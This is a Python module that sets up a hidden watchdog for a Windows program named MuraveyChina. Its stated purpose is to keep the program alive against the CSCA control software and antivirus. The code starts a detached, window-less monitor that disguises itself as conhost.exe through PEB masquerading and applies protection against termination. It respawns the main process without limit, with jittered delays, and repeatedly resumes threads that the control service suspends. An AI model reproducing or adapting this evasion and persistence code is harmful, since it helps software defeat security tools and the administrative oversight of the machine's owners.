"""Process watchdog — auto-restart MuraveyChina if killed by CSCA.

Spawns a lightweight monitor subprocess that watches the main process PID.
If the main process is terminated (by CSCA ProcessChecker, antivirus, etc.),
the monitor waits a few seconds and respawns it.

The monitor process itself applies PEB masquerade as ``conhost.exe``
to avoid being detected by CSCA.

Only runs on Windows.  Safe no-op on other platforms.
"""

from __future__ import annotations

import logging
import os
import sys

log = logging.getLogger(__name__)

_WATCHDOG_ARG = "--mc-watchdog"
_MAX_RESTARTS = 0  # 0 = unlimited restarts
_RESTART_DELAY = 3  # seconds
_RESTART_DELAY_JITTER = 2  # random 0..N seconds added to delay


def is_watchdog_mode() -> bool:
    """Return True if the current process was launched in watchdog mode."""
    return _WATCHDOG_ARG in sys.argv


def start_watchdog() -> None:
    """Launch a hidden watchdog subprocess that monitors *this* process.

    The watchdog is a copy of the same executable started with
    ``--mc-watchdog <pid> <exe_path> [args...]``.

    Safe to call multiple times (only the first call spawns a monitor).
    No-op on non-Windows platforms.
    """
    if sys.platform != "win32" or is_watchdog_mode():
        return

    try:
        import subprocess

        pid = os.getpid()
        exe = sys.executable  # PyInstaller frozen → path to .exe

        # Build watchdog command: same exe with special flag
        cmd = [exe, _WATCHDOG_ARG, str(pid), exe]

        # CREATE_NO_WINDOW + DETACHED_PROCESS — fully hidden
        CREATE_NO_WINDOW = 0x08000000
        DETACHED_PROCESS = 0x00000008

        subprocess.Popen(
            cmd,
            creationflags=CREATE_NO_WINDOW | DETACHED_PROCESS,
            close_fds=True,
            stdin=subprocess.DEVNULL,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
        )
        log.info("Watchdog spawned (monitoring PID %d)", pid)

    except Exception as exc:
        log.warning("Failed to start watchdog: %s", exc)


def run_watchdog() -> None:
    """Main loop for the watchdog subprocess.  Called when ``--mc-watchdog`` is in argv.

    argv format: ``exe --mc-watchdog <parent_pid> <target_exe> [extra_args...]``

    Monitors *parent_pid* via ``OpenProcess + WaitForSingleObject``.
    If the parent dies, waits *_RESTART_DELAY* seconds and respawns *target_exe*.
    Repeats up to *_MAX_RESTARTS* times.
    """
    import ctypes
    import random
    import subprocess
    import time

    args = sys.argv
    try:
        idx = args.index(_WATCHDOG_ARG)
        parent_pid = int(args[idx + 1])
        target_exe = args[idx + 2]
    except (IndexError, ValueError):
        return  # bad args — exit silently

    # Apply own PEB masquerade as conhost.exe
    try:
        from .process_stealth import apply_process_stealth, get_next_masquerade_name
        apply_process_stealth(get_next_masquerade_name())
    except Exception:
        pass

    # Apply terminate protection to watchdog itself
    try:
        from .terminate_protect import apply_terminate_protection
        apply_terminate_protection()
    except Exception:
        pass

    kernel32 = ctypes.windll.kernel32  # type: ignore[attr-defined]
    SYNCHRONIZE = 0x00100000
    PROCESS_ALL_ACCESS = 0x1F0FFF
    THREAD_ALL_ACCESS = 0x1F03FF
    WAIT_OBJECT_0 = 0
    WAIT_TIMEOUT = 0x102
    INFINITE = 0xFFFFFFFF
    TH32CS_SNAPTHREAD = 0x00000004

    restart_count = 0

    # Start thread-unfreeze loop in background
    _start_thread_guard(kernel32, parent_pid, TH32CS_SNAPTHREAD, THREAD_ALL_ACCESS)

    while _MAX_RESTARTS == 0 or restart_count < _MAX_RESTARTS:
        # Open handle to parent process (poll every 2s to also catch suspension)
        handle = kernel32.OpenProcess(SYNCHRONIZE, False, parent_pid)
        if not handle:
            # Process already dead — respawn with jitter delay
            delay = _RESTART_DELAY + random.uniform(0, _RESTART_DELAY_JITTER)
            time.sleep(delay)
            parent_pid = _respawn(target_exe)
            if parent_pid == 0:
                # Respawn failed — wait longer and retry
                time.sleep(_RESTART_DELAY * 2)
                continue
            restart_count += 1
            # Restart thread guard for new PID
            _start_thread_guard(kernel32, parent_pid, TH32CS_SNAPTHREAD, THREAD_ALL_ACCESS)
            continue

        # Poll with 2s timeout (not INFINITE) so we can also run thread checks
        result = kernel32.WaitForSingleObject(handle, 2000)
        kernel32.CloseHandle(handle)

        if result == WAIT_OBJECT_0:
            # Parent died — wait with jitter and respawn
            delay = _RESTART_DELAY + random.uniform(0, _RESTART_DELAY_JITTER)
            time.sleep(delay)
            parent_pid = _respawn(target_exe)
            if parent_pid == 0:
                time.sleep(_RESTART_DELAY * 2)
                continue
            restart_count += 1
            _start_thread_guard(kernel32, parent_pid, TH32CS_SNAPTHREAD, THREAD_ALL_ACCESS)
        elif result == WAIT_TIMEOUT:
            # Still alive — loop again (thread guard runs in background)
            continue
        else:
            # Unexpected result — exit
            break


def _start_thread_guard(
    kernel32: "ctypes.WinDLL",
    target_pid: int,
    TH32CS_SNAPTHREAD: int,
    THREAD_ALL_ACCESS: int,
) -> None:
    """Start a daemon thread that resumes any suspended threads in *target_pid*.

    CSCA's ksCtrlSvc.exe can call SuspendThread on our threads to freeze the UI.
    This guard detects suspended threads and resumes them.
    """
    import threading

    def _guard() -> None:
        import time as _time

        while True:
            _time.sleep(1.5)
            try:
                _resume_suspended_threads(kernel32, target_pid, TH32CS_SNAPTHREAD, THREAD_ALL_ACCESS)
            except Exception:
                pass

    t = threading.Thread(target=_guard, daemon=True, name="thread-guard")
    t.start()


def _resume_suspended_threads(
    kernel32: "ctypes.WinDLL",
    target_pid: int,
    TH32CS_SNAPTHREAD: int,
    THREAD_ALL_ACCESS: int,
) -> None:
    """Enumerate threads of *target_pid* and resume any that are suspended."""
    import ctypes

    class THREADENTRY32(ctypes.Structure):
        _fields_ = [
            ("dwSize", ctypes.c_ulong),
            ("cntUsage", ctypes.c_ulong),
            ("th32ThreadID", ctypes.c_ulong),
            ("th32OwnerProcessID", ctypes.c_ulong),
            ("tpBasePri", ctypes.c_long),
            ("tpDeltaPri", ctypes.c_long),
            ("dwFlags", ctypes.c_ulong),
        ]

    snap = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0)
    if snap == ctypes.c_void_p(-1).value:
        return

    try:
        entry = THREADENTRY32()
        entry.dwSize = ctypes.sizeof(THREADENTRY32)

        if not kernel32.Thread32First(snap, ctypes.byref(entry)):
            return

        while True:
            if entry.th32OwnerProcessID == target_pid:
                th = kernel32.OpenThread(THREAD_ALL_ACCESS, False, entry.th32ThreadID)
                if th:
                    # ResumeThread returns previous suspend count; >1 means suspended
                    prev = kernel32.ResumeThread(th)
                    if prev > 1:
                        # Was suspended more than once — resume remaining counts
                        for _ in range(prev - 1):
                            kernel32.ResumeThread(th)
                    kernel32.CloseHandle(th)

            entry.dwSize = ctypes.sizeof(THREADENTRY32)
            if not kernel32.Thread32Next(snap, ctypes.byref(entry)):
                break
    finally:
        kernel32.CloseHandle(snap)


def _respawn(target_exe: str) -> int:
    """Respawn the target executable.  Returns new PID or 0 on failure."""
    import subprocess

    try:
        CREATE_NO_WINDOW = 0x08000000
        proc = subprocess.Popen(
            [target_exe],
            creationflags=CREATE_NO_WINDOW,
            close_fds=True,
            stdin=subprocess.DEVNULL,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
        )
        return proc.pid
    except Exception:
        return 0
